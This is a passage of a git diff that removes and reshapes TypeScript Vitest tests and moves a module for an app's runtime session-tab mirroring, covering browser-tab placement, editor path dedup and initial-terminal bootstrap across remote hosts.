-      browserPagesByWorkspace: { [workspace.id]: [page] },
-      unifiedTabsByWorktree: { [WT]: [unifiedTab] },
-      groupsByWorktree: {
-        [WT]: [
-          {
-            id: 'own-group',
-            worktreeId: WT,
-            activeTabId: unifiedTab.id,
-            tabOrder: [unifiedTab.id]
-          }
-        ]
-      }
-    })
-
-    const next = {
-      ...state,
-      ...applyWebSessionTabsSnapshot(
-        state,
-        makeSnapshot(
-          [
-            {
-              type: 'browser',
-              id: 'own-browser-unified',
-              title: 'Intranet',
-              browserWorkspaceId: 'own-browser-workspace',
-              browserPageId: 'own-browser-page',
-              url: 'https://intranet.local/',
-              loading: false,
-              canGoBack: false,
-              canGoForward: false,
-              isActive: true
-            }
-          ],
-          { activeTabId: 'own-browser-unified', activeTabType: 'browser' }
-        ),
-        ENV,
-        NOW
-      )
-    }
-
-    expect(next.browserTabsByWorktree[WT]).toEqual([workspace])
-    expect(next.browserPagesByWorkspace[workspace.id]).toEqual([page])
-    expect(next.remoteBrowserPageHandlesByPageId[page.id]).toBeUndefined()
-    expect(next.unifiedTabsByWorktree[WT]?.map((tab) => tab.id)).toEqual(['own-browser-unified'])
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-editor-tabs.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-editor-tabs.test.ts
index 247ec2b5455..4103197089d 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-editor-tabs.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-editor-tabs.test.ts
@@ -127,28 +127,27 @@ describe('applyWebSessionTabsSnapshot host-invariant editor dedup', () => {
     expect(patch.editorDrafts ?? state.editorDrafts).toEqual(state.editorDrafts)
   })
 
-  it.each([
-    { filePath: '/workspace/notes/Read me #1%.md', worktree: 'folder:/workspace' },
-    { filePath: 'C:\\workspace\\docs\\Read me.md', worktree: 'folder:C:\\workspace' },
-    { filePath: '\\\\server\\share\\Read me.md', worktree: 'folder:\\\\server\\share' }
-  ])('collapses encoded variants for the host path $filePath', ({ filePath, worktree }) => {
-    const tabs = ['host:a', 'host:b'].map((environment) => ({
-      ...variant(buildOwnedEditorFileId(filePath, worktree, environment), false),
-      filePath,
-      sourceFilePath: filePath
-    }))
-    const state = makeState({ activeWorktreeId: worktree })
-    const snapshot = makeSnapshot(tabs, { worktree, activeTabId: null, activeTabType: null })
-    const patch = applyWebSessionTabsSnapshot(state, snapshot, ENV, NOW)
-    const nextState = { ...state, ...patch }
-    const replay = applyWebSessionTabsSnapshot(nextState, snapshot, ENV, NOW + 1)
+  it.each([{ filePath: '/workspace/notes/Read me #1%.md', worktree: 'folder:/workspace' }])(
+    'collapses encoded variants for the host path $filePath',
+    ({ filePath, worktree }) => {
+      const tabs = ['host:a', 'host:b'].map((environment) => ({
+        ...variant(buildOwnedEditorFileId(filePath, worktree, environment), false),
+        filePath,
+        sourceFilePath: filePath
+      }))
+      const state = makeState({ activeWorktreeId: worktree })
+      const snapshot = makeSnapshot(tabs, { worktree, activeTabId: null, activeTabType: null })
+      const patch = applyWebSessionTabsSnapshot(state, snapshot, ENV, NOW)
+      const nextState = { ...state, ...patch }
+      const replay = applyWebSessionTabsSnapshot(nextState, snapshot, ENV, NOW + 1)
 
-    expect(patch.openFiles).toMatchObject([{ filePath, worktreeId: worktree }])
-    expect(patch.openFiles).toHaveLength(1)
-    expect(patch.unifiedTabsByWorktree?.[worktree]).toHaveLength(1)
-    expect((replay.openFiles ?? nextState.openFiles)[0]?.id).toBe(patch.openFiles?.[0]?.id)
-    expect(
-      (replay.unifiedTabsByWorktree ?? nextState.unifiedTabsByWorktree)[worktree]
-    ).toHaveLength(1)
-  })
+      expect(patch.openFiles).toMatchObject([{ filePath, worktreeId: worktree }])
+      expect(patch.openFiles).toHaveLength(1)
+      expect(patch.unifiedTabsByWorktree?.[worktree]).toHaveLength(1)
+      expect((replay.openFiles ?? nextState.openFiles)[0]?.id).toBe(patch.openFiles?.[0]?.id)
+      expect(
+        (replay.unifiedTabsByWorktree ?? nextState.unifiedTabsByWorktree)[worktree]
+      ).toHaveLength(1)
+    }
+  )
 })
diff --git a/src/renderer/src/lib/runtime-session-mirror-targets.ts b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/runtime-session-mirror-targets.ts
similarity index 80%
rename from src/renderer/src/lib/runtime-session-mirror-targets.ts
rename to src/renderer/src/runtime/web-session-tabs-sync/subscriptions/runtime-session-mirror-targets.ts
index 274d95c7d80..a915b272149 100644
--- a/src/renderer/src/lib/runtime-session-mirror-targets.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/runtime-session-mirror-targets.ts
@@ -1,14 +1,12 @@
-import {
-  lastVerifiedRuntimeStatus,
-  type RuntimeHostStatusSnapshot
-} from '../../../shared/remote-runtime/host-status/runtime-host-status'
-import type { RuntimeStatus } from '../../../shared/runtime-session-contracts'
+import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
+import type { RuntimeHostStatusSnapshot } from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
 import {
   isDisconnectedRuntimeHostState,
   runtimeHostConnectionStateForEntry
 } from '@/runtime/hosts/connections/runtime-host-connection-state'
-import type { WorktreeRuntimeOwnerState } from './workspace/ownership/worktree-runtime-owner-state'
-import { getRuntimeSessionMirrorEnvironmentIds } from './workspace/ownership/runtime-session-mirror-owners'
+import { getRuntimeSessionMirrorEnvironmentIds } from '../../../lib/workspace/ownership/runtime-session-mirror-owners'
+import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
+import type { WorktreeRuntimeOwnerState } from '../../../lib/workspace/ownership/worktree-runtime-owner-state'
 
 type RuntimeMirrorStatus = {
   status: RuntimeStatus | null
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/use-runtime-session-mirror-environment-key.ts b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/use-runtime-session-mirror-environment-key.ts
index eeead3c030a..a9d0505de56 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/use-runtime-session-mirror-environment-key.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/use-runtime-session-mirror-environment-key.ts
@@ -1,12 +1,12 @@
 import { useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { getReachableRuntimeSessionMirrorTargets } from '@/lib/runtime-session-mirror-targets'
+import { getReachableRuntimeSessionMirrorTargets } from '@/runtime/web-session-tabs-sync/subscriptions/runtime-session-mirror-targets'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import {
   selectDetectedWorktreesByRepo,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
 
 export type RuntimeSessionMirrorTargetInputs = Pick<
   AppState,
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-initial-terminal-relaunch.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-initial-terminal-relaunch.test.tsx
deleted file mode 100644
index bec51bf04fe..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-initial-terminal-relaunch.test.tsx
+++ /dev/null
@@ -1,409 +0,0 @@
-import type * as RuntimeCapabilityProofModule from '../../rpc/compatibility/runtime-capability-proof'
-// @vitest-environment happy-dom
-
-import { act, cleanup, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  UNPUBLISHED_WORKTREE_PUBLICATION_EPOCH,
-  type RuntimeMobileSessionTabsResult
-} from '../../../../../shared/runtime-session-contracts'
-import type { Worktree } from '../../../../../shared/worktree/types'
-import { resetStaleDocumentVisibilityForTesting } from '@/components/terminal-pane/viewport/visibility/stale-document-visibility'
-import type * as WebRuntimeTerminalCreationModule from '../../hosted-terminals/creation/web-runtime-terminal-creation'
-
-const mocks = vi.hoisted(() => ({
-  createTerminal: vi.fn(),
-  ownerEnvironmentIdForWorkspace: vi.fn(),
-  hostAnswersEmptyWorktree: vi.fn(async () => true),
-  recoverSnapshot: vi.fn(),
-  runtimeSessionMirrorEnvironmentKey: vi.fn(),
-  runtimeSessionMirrorEnvironmentKeys: vi.fn(() => ({
-    environmentKey: null,
-    resubscribeSignal: 0
-  }))
-}))
-
-vi.mock('./use-runtime-session-mirror-environment-key', () => ({
-  useRuntimeSessionMirrorEnvironmentKey: mocks.runtimeSessionMirrorEnvironmentKey,
-  useRuntimeSessionMirrorEnvironmentKeys: mocks.runtimeSessionMirrorEnvironmentKeys
-}))
-
-vi.mock('../mirrored-workspace-owner', () => ({
-  mirroredRuntimeEnvironmentIdForWorkspace: (state: unknown, workspaceId: string | null) =>
-    workspaceId ? (mocks.ownerEnvironmentIdForWorkspace(state, workspaceId) ?? null) : null
-}))
-
-vi.mock('../../rpc/compatibility/runtime-capability-proof', async (importOriginal) => {
-  const actual = await importOriginal<typeof RuntimeCapabilityProofModule>()
-  return {
-    ...actual,
-    runtimeEnvironmentSupportsCapability: mocks.hostAnswersEmptyWorktree
-  }
-})
-
-vi.mock('../../hosted-terminals/recovery/web-session-terminal-orphan-recovery', () => ({
-  recoverWebSessionTerminalOrphansBeforeApply: mocks.recoverSnapshot
-}))
-
-vi.mock('../../hosted-terminals/creation/web-runtime-terminal-creation', async (importOriginal) => {
-  const actual = await importOriginal<typeof WebRuntimeTerminalCreationModule>()
-  return {
-    ...actual,
-    createWebRuntimeSessionTerminal: mocks.createTerminal
-  }
-})
-
-import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
-import { replaceRuntimeEnvironmentRevisions } from '../../rpc/environment-revisions/runtime-environment-revision'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
-import { useWebSessionTabsSync } from '../use-web-session-tabs-sync'
-import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
-import { resetWebRuntimeInitialTerminalBootstrapForTests } from '../initial-terminal/web-runtime-initial-terminal-bootstrap'
-import { resetWebRuntimeWakeTerminalRespawnForTests } from '../../hosted-terminals/restoration/web-runtime-wake-terminal-respawn'
-import { ensureWebRuntimeWorktreeTerminalAfterWake } from '@/runtime/hosted-terminals/restoration/web-runtime-worktree-terminal-after-wake'
-import {
-  connectedRuntimeStatus,
-  publicRuntimeEnvironment
-} from '../../rpc/testing/paired-runtime-environment-test-fixture'
-
-const ENV = 'env-a'
-const WORKTREE = 'repo-a::worktree-a'
-const REVISION = 101
-const MIRROR_KEY = 'env-a::runtime-a::1'
-const initialState = useAppStore.getInitialState()
-
-type RuntimeSubscribe = typeof window.api.runtimeEnvironments.subscribe
-type RuntimeSubscription = {
-  request: Parameters<RuntimeSubscribe>[0]
-  callbacks: Parameters<RuntimeSubscribe>[1]
-  unsubscribe: ReturnType<typeof vi.fn>
-}
-
-const subscriptions: RuntimeSubscription[] = []
-const runtimeCall = vi.fn(async () => ({
-  id: 'list-all',
-  ok: true as const,
-  result: { snapshots: [] },
-  _meta: { runtimeId: 'runtime-a' }
-}))
-const runtimeSubscribe = vi.fn<RuntimeSubscribe>(async (request, callbacks) => {
-  const unsubscribe = vi.fn()
-  subscriptions.push({ request, callbacks, unsubscribe })
-  return { unsubscribe, sendBinary: vi.fn() }
-})
-
-function createDeferred<T>(): { promise: Promise<T>; resolve: (value: T) => void } {
-  let resolve = (_value: T): void => {}
-  const promise = new Promise<T>((done) => {
-    resolve = done
-  })
-  return { promise, resolve }
-}
-
-async function settle(): Promise<void> {
-  await Promise.resolve()
-  await Promise.resolve()
-  await Promise.resolve()
-}
-
-function emptyActiveSnapshot(snapshotVersion: number): RuntimeMobileSessionTabsResult {
-  return {
-    worktree: WORKTREE,
-    publicationEpoch: 'epoch-1',
-    snapshotVersion,
-    activeGroupId: null,
-    activeTabId: null,
-    activeTabType: null,
-    tabs: []
-  }
-}
-
-function findActiveSubscription(occurrence: number): RuntimeSubscription {
-  const matches = subscriptions.filter(({ request }) => request.method === 'session.tabs.subscribe')
-  const subscription = matches[occurrence]
-  if (!subscription) {
-    throw new Error(`Missing active subscription ${occurrence}`)
-  }
-  return subscription
-}
-
-async function publish(subscription: RuntimeSubscription, result: unknown): Promise<void> {
-  await act(async () => {
-    subscription.callbacks.onResponse({
-      id: 'subscription-event',
-      ok: true as const,
-      result,
-      _meta: { runtimeId: 'runtime-a' }
-    } as never)
-    await settle()
-  })
-}
-
-function makeWorktree(): Worktree {
-  return {
-    id: WORKTREE,
-    repoId: 'repo-a',
-    path: 'worktree-a',
-    head: 'abc123',
-    branch: 'refs/heads/feature',
-    isBare: false,
-    isMainWorktree: false,
-    displayName: 'worktree-a',
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: 0,
-    lastActivityAt: 0,
-    hostId: 'local',
-    runtimeOwnerEnvironmentId: ENV
-  }
-}
-
-function runtimeStatusMap(connectionGeneration: number): AppState['runtimeStatusByEnvironmentId'] {
-  return new Map([[ENV, connectedRuntimeStatus('runtime-a', connectionGeneration)]])
-}
-
-function seedRemoteMirrorState(connectionGeneration: number): void {
-  const runtimeEnvironments = [
-    publicRuntimeEnvironment({ id: ENV, createdAt: 100, pairingRevision: REVISION })
-  ]
-  replaceRuntimeEnvironmentRevisions(runtimeEnvironments)
-  useAppStore.setState(
-    {
-      ...initialState,
-      activeWorktreeId: WORKTREE,
-      workspaceSessionReady: true,
-      runtimeEnvironments,
-      runtimeStatusByEnvironmentId: runtimeStatusMap(connectionGeneration)
-    },
-    true
-  )
-}
-
-describe('useWebSessionTabsSync initial-terminal bootstrap across an effect re-run', () => {
-  beforeEach(() => {
-    subscriptions.length = 0
-    runtimeCall.mockClear()
-    runtimeSubscribe.mockClear()
-    mocks.createTerminal.mockReset()
-    mocks.recoverSnapshot.mockReset().mockImplementation(async (_state, snapshot) => snapshot)
-    mocks.ownerEnvironmentIdForWorkspace.mockReset().mockReturnValue(ENV)
-    mocks.runtimeSessionMirrorEnvironmentKey.mockReset().mockReturnValue(MIRROR_KEY)
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: { runtimeEnvironments: { call: runtimeCall, subscribe: runtimeSubscribe } }
-    })
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetWebRuntimeInitialTerminalBootstrapForTests()
-    seedRemoteMirrorState(1)
-  })
-
-  afterEach(() => {
-    cleanup()
-    useAppStore.setState(initialState, true)
-    replaceRuntimeEnvironmentRevisions([])
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetWebRuntimeInitialTerminalBootstrapForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-    resetStaleDocumentVisibilityForTesting()
-  })
-
-  // Effect reinstall during workspace switch must not rearm initial-terminal creation while its predecessor is pending (STA-6173).
-  it('does not seed a second terminal when the effect re-runs before the first create settles', async () => {
-    const pendingCreate = createDeferred<unknown>()
-    mocks.createTerminal.mockReturnValue(pendingCreate.promise)
-
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-
-    await publish(findActiveSubscription(0), { type: 'snapshot', ...emptyActiveSnapshot(1) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-
-    // Reinstall the active effect while create is pending, as on workspace switch.
-    act(() => {
-      useAppStore.setState({ runtimeStatusByEnvironmentId: runtimeStatusMap(2) })
-    })
-    await act(settle)
-    expect(
-      subscriptions.filter(({ request }) => request.method === 'session.tabs.subscribe')
-    ).toHaveLength(2)
-
-    await publish(findActiveSubscription(1), { type: 'snapshot', ...emptyActiveSnapshot(2) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-
-    pendingCreate.resolve(undefined)
-    await act(settle)
-    hook.unmount()
-  })
-
-  // Returned failure must leave both module and closure-local guards retryable, like throws; releasing only the shared latch suppresses this subscription forever.
-  it('retries on the next frame of the same subscription after a create that returned failed', async () => {
-    mocks.createTerminal.mockResolvedValue({ status: 'failed', message: 'host unreachable' })
-
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-
-    const subscription = findActiveSubscription(0)
-    await publish(subscription, { type: 'snapshot', ...emptyActiveSnapshot(1) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-    expect(useAppStore.getState().tabsByWorktree[WORKTREE]).toBeUndefined()
-
-    // Same closure must retry its next accepted empty frame after failure.
-    await publish(subscription, { type: 'snapshot', ...emptyActiveSnapshot(2) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(2)
-    hook.unmount()
-  })
-
-  it('leaves a waiting split landing for the user instead of seeding into it', async () => {
-    mocks.createTerminal.mockResolvedValue({ status: 'created' })
-    useAppStore.setState({
-      groupsByWorktree: {
-        [WORKTREE]: [{ id: 'landing', worktreeId: WORKTREE, activeTabId: null, tabOrder: [] }]
-      },
-      layoutByWorktree: { [WORKTREE]: { type: 'leaf', groupId: 'landing' } },
-      activeGroupIdByWorktree: { [WORKTREE]: 'landing' },
-      splitLandingGroupIds: { landing: WORKTREE }
-    })
-
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    const subscription = findActiveSubscription(0)
-    await publish(subscription, { type: 'snapshot', ...emptyActiveSnapshot(1) })
-    expect(mocks.createTerminal).not.toHaveBeenCalled()
-    expect(useAppStore.getState().splitLandingGroupIds).toEqual({ landing: WORKTREE })
-
-    // Skipping claimed nothing: once the chooser is gone, the next empty answer seeds as before.
-    act(() => {
-      useAppStore.setState({ splitLandingGroupIds: {} })
-    })
-    await publish(subscription, { type: 'snapshot', ...emptyActiveSnapshot(2) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-    hook.unmount()
-  })
-
-  it('fills the workspace with the waiting landings when another client empties it', async () => {
-    const leaf = (groupId: string) => ({ type: 'leaf' as const, groupId })
-    const group = (id: string, tabOrder: string[]) => ({
-      id,
-      worktreeId: WORKTREE,
-      activeTabId: tabOrder[0] ?? null,
-      tabOrder
-    })
-    useAppStore.setState({
-      groupsByWorktree: {
-        [WORKTREE]: [group('chat', ['closed-elsewhere']), group('l1', []), group('l2', [])]
-      },
-      layoutByWorktree: {
-        [WORKTREE]: {
-          type: 'split',
-          direction: 'horizontal',
-          first: leaf('chat'),
-          second: { type: 'split', direction: 'vertical', first: leaf('l1'), second: leaf('l2') }
-        }
-      },
-      activeGroupIdByWorktree: { [WORKTREE]: 'l2' },
-      splitLandingGroupIds: { l1: WORKTREE, l2: WORKTREE }
-    })
-
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    await publish(findActiveSubscription(0), { type: 'snapshot', ...emptyActiveSnapshot(1) })
-
-    const state = useAppStore.getState()
-    expect(state.groupsByWorktree[WORKTREE].map((kept) => kept.id)).toEqual(['l1', 'l2'])
-    expect(state.layoutByWorktree[WORKTREE]).toEqual({
-      type: 'split',
-      direction: 'vertical',
-      first: leaf('l1'),
-      second: leaf('l2')
-    })
-    expect(state.activeGroupIdByWorktree[WORKTREE]).toBe('l2')
-    expect(mocks.createTerminal).not.toHaveBeenCalled()
-    hook.unmount()
-  })
-
-  // Success without publication cannot hold forever: next accepted frame releases awaiting-mirror without seeding, then a later confirmed empty frame may retry.
-  it('retries after a successful create that never mirrored a row, once the mirror has answered', async () => {
-    mocks.createTerminal.mockResolvedValue({ status: 'created' })
-
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-
-    await publish(findActiveSubscription(0), { type: 'snapshot', ...emptyActiveSnapshot(1) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-    expect(useAppStore.getState().tabsByWorktree[WORKTREE]).toBeUndefined()
-
-    // The mirror's answer: still empty. Releases the parked bootstrap; must not itself seed.
-    await publish(findActiveSubscription(0), { type: 'snapshot', ...emptyActiveSnapshot(2) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-
-    // A later focus installs a fresh closure; with the latch released, its empty frame may retry.
-    act(() => {
-      useAppStore.setState({ runtimeStatusByEnvironmentId: runtimeStatusMap(2) })
-    })
-    await act(settle)
-    await publish(findActiveSubscription(1), { type: 'snapshot', ...emptyActiveSnapshot(3) })
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(2)
-    hook.unmount()
-  })
-})
-
-describe('activating a host-owned workspace before the host has answered', () => {
-  beforeEach(() => {
-    subscriptions.length = 0
-    runtimeCall.mockClear()
-    runtimeSubscribe.mockClear()
-    mocks.createTerminal.mockReset().mockResolvedValue({ status: 'created' })
-    mocks.recoverSnapshot.mockReset().mockImplementation(async (_state, snapshot) => snapshot)
-    mocks.ownerEnvironmentIdForWorkspace.mockReset().mockReturnValue(ENV)
-    mocks.hostAnswersEmptyWorktree.mockReset().mockResolvedValue(true)
-    mocks.runtimeSessionMirrorEnvironmentKey.mockReset().mockReturnValue(MIRROR_KEY)
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: { runtimeEnvironments: { call: runtimeCall, subscribe: runtimeSubscribe } }
-    })
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetWebRuntimeInitialTerminalBootstrapForTests()
-    resetWebRuntimeWakeTerminalRespawnForTests()
-    seedRemoteMirrorState(1)
-    useAppStore.setState({ worktreesByRepo: { 'repo-a': [makeWorktree()] } })
-  })
-
-  afterEach(() => {
-    cleanup()
-    useAppStore.setState(initialState, true)
-    replaceRuntimeEnvironmentRevisions([])
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetWebRuntimeInitialTerminalBootstrapForTests()
-    resetWebRuntimeWakeTerminalRespawnForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-    resetStaleDocumentVisibilityForTesting()
-  })
-
-  it('opens one terminal when the host first says "ask me later" and then answers empty', async () => {
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-
-    ensureWebRuntimeWorktreeTerminalAfterWake(WORKTREE, { runtimeEnvironmentId: ENV })
-    await act(settle)
-    const subscription = findActiveSubscription(0)
-    await publish(subscription, {
-      type: 'snapshot',
-      ...emptyActiveSnapshot(0),
-      publicationEpoch: UNPUBLISHED_WORKTREE_PUBLICATION_EPOCH
-    })
-    await publish(subscription, {
-      type: 'updated',
-      ...emptyActiveSnapshot(0),
-      publicationEpoch: 'empty:1'
-    })
-
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-    hook.unmount()
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-unverifiable-host.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-unverifiable-host.test.tsx
deleted file mode 100644
index 9b96f5e9ab4..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-unverifiable-host.test.tsx
+++ /dev/null
@@ -1,189 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, cleanup, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type {
-  RuntimeHostStatusSnapshot,
-  RuntimeEnvironmentStatus
-} from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
-import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
-
-const mocks = vi.hoisted(() => ({
-  ownerEnvironmentIdForWorkspace: vi.fn(),
-  runtimeSessionMirrorEnvironmentKey: vi.fn()
-}))
-
-vi.mock('./use-runtime-session-mirror-environment-key', () => ({
-  useRuntimeSessionMirrorEnvironmentKeys: () => ({
-    environmentKey: mocks.runtimeSessionMirrorEnvironmentKey(),
-    resubscribeSignal: ''
-  })
-}))
-
-vi.mock('../mirrored-workspace-owner', () => ({
-  mirroredRuntimeEnvironmentIdForWorkspace: (state: unknown, workspaceId: string | null) =>
-    workspaceId ? (mocks.ownerEnvironmentIdForWorkspace(state, workspaceId) ?? null) : null
-}))
-
-import { useAppStore } from '@/store/index'
-
-import { replaceRuntimeEnvironmentRevisions } from '../../rpc/environment-revisions/runtime-environment-revision'
-import { clearHostLiveTerminalProbesForTests } from '../../hosted-terminals/inventory/host-live-terminal-probe'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
-import { useWebSessionTabsSync } from '../use-web-session-tabs-sync'
-import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
-import { publicRuntimeEnvironment } from '../../rpc/testing/paired-runtime-environment-test-fixture'
-
-const ENV_A = 'env-a'
-const WORKTREE = 'repo-a::worktree-a'
-const REVISION_A = 101
-const MIRROR_KEY = `${ENV_A}
runtime-a
0
${REVISION_A}`
-const initialState = useAppStore.getInitialState()
-
-type RuntimeSubscribe = typeof window.api.runtimeEnvironments.subscribe
-type RuntimeSubscription = {
-  request: Parameters<RuntimeSubscribe>[0]
-  unsubscribe: ReturnType<typeof vi.fn>
-}
-
-const subscriptions: RuntimeSubscription[] = []
-const runtimeCall = vi.fn(async (_args: { method: string }) => ({
-  id: 'list-all',
-  ok: true as const,
-  result: { snapshots: [] },
-  _meta: { runtimeId: 'runtime-a' }
-}))
-const runtimeSubscribe = vi.fn<RuntimeSubscribe>(async (request) => {
-  const unsubscribe = vi.fn()
-  subscriptions.push({ request, unsubscribe })
-  return { unsubscribe, sendBinary: vi.fn() }
-})
-
-async function settle(): Promise<void> {
-  await Promise.resolve()
-  await Promise.resolve()
-  await Promise.resolve()
-}
-
-function makeStatus(runtimeId: string): RuntimeStatus {
-  return {
-    runtimeId,
-    rendererGraphEpoch: 0,
-    graphStatus: 'ready',
-    authoritativeWindowId: null,
-    liveTabCount: 0,
-    liveLeafCount: 0
-  }
-}
-
-function verifiedSnapshot(): RuntimeHostStatusSnapshot {
-  return {
-    environmentId: ENV_A,
-    pairingRevision: REVISION_A,
-    sequence: 1,
-    checkedAt: 1,
-    status: makeStatus('runtime-a'),
-    verification: 'verified',
-    transport: 'ready'
-  }
-}
-
-function setRuntimeStatusEntry(entry: RuntimeEnvironmentStatus): void {
-  useAppStore.setState({ runtimeStatusByEnvironmentId: new Map([[ENV_A, entry]]) })
-}
-
-function activeTabsSubscriptions(): RuntimeSubscription[] {
-  return subscriptions.filter(({ request }) => request.method === 'session.tabs.subscribe')
-}
-
-describe('useWebSessionTabsSync under an unverifiable host probe', () => {
-  beforeEach(() => {
-    subscriptions.length = 0
-    runtimeCall.mockClear()
-    runtimeSubscribe.mockClear()
-    mocks.ownerEnvironmentIdForWorkspace.mockReset().mockReturnValue(ENV_A)
-    mocks.runtimeSessionMirrorEnvironmentKey.mockReset().mockReturnValue(MIRROR_KEY)
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: { runtimeEnvironments: { call: runtimeCall, subscribe: runtimeSubscribe } }
-    })
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    clearHostLiveTerminalProbesForTests()
-    const runtimeEnvironments = [
-      publicRuntimeEnvironment({ id: ENV_A, createdAt: 100, pairingRevision: REVISION_A })
-    ]
-    replaceRuntimeEnvironmentRevisions(runtimeEnvironments)
-    useAppStore.setState(
-      {
-        ...initialState,
-        activeWorktreeId: WORKTREE,
-        workspaceSessionReady: true,
-        runtimeEnvironments,
-        runtimeStatusByEnvironmentId: new Map([
-          [
-            ENV_A,
-            {
-              status: makeStatus('runtime-a'),
-              snapshot: verifiedSnapshot(),
-              checkedAt: 1,
-              connectionGeneration: 1
-            }
-          ]
-        ])
-      },
-      true
-    )
-  })
-
-  afterEach(() => {
-    cleanup()
-    useAppStore.setState(initialState, true)
-    replaceRuntimeEnvironmentRevisions([])
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-  })
-
-  it('holds the active session-tabs subscription when the probe goes unverifiable', async () => {
-    renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    const held = activeTabsSubscriptions()
-    expect(held).toHaveLength(1)
-
-    // The transport is still ready and the host is still delivering; only the probe failed.
-    await act(async () => {
-      setRuntimeStatusEntry({
-        status: null,
-        snapshot: { ...verifiedSnapshot(), sequence: 2, checkedAt: 2, verification: 'unavailable' },
-        checkedAt: 2,
-        connectionGeneration: 1
-      })
-      await settle()
-    })
-
-    expect(held[0]!.unsubscribe).not.toHaveBeenCalled()
-    expect(activeTabsSubscriptions()).toHaveLength(1)
-  })
-
-  it('still restarts the subscription when the host answers with a replacement runtime', async () => {
-    renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    expect(activeTabsSubscriptions()).toHaveLength(1)
-
-    await act(async () => {
-      setRuntimeStatusEntry({
-        status: makeStatus('runtime-b'),
-        snapshot: {
-          ...verifiedSnapshot(),
-          sequence: 2,
-          checkedAt: 2,
-          status: makeStatus('runtime-b')
-        },
-        checkedAt: 2,
-        connectionGeneration: 1
-      })
-      await settle()
-    })
-
-    expect(activeTabsSubscriptions()).toHaveLength(2)
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-visibility-collision.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-visibility-collision.test.tsx
index 7f9a5b5e1f2..e1fae4f694b 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-visibility-collision.test.tsx
+++ b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-visibility-collision.test.tsx
@@ -44,11 +44,7 @@ import '@/store/slices/editor/file-ids/editor-file-ids'
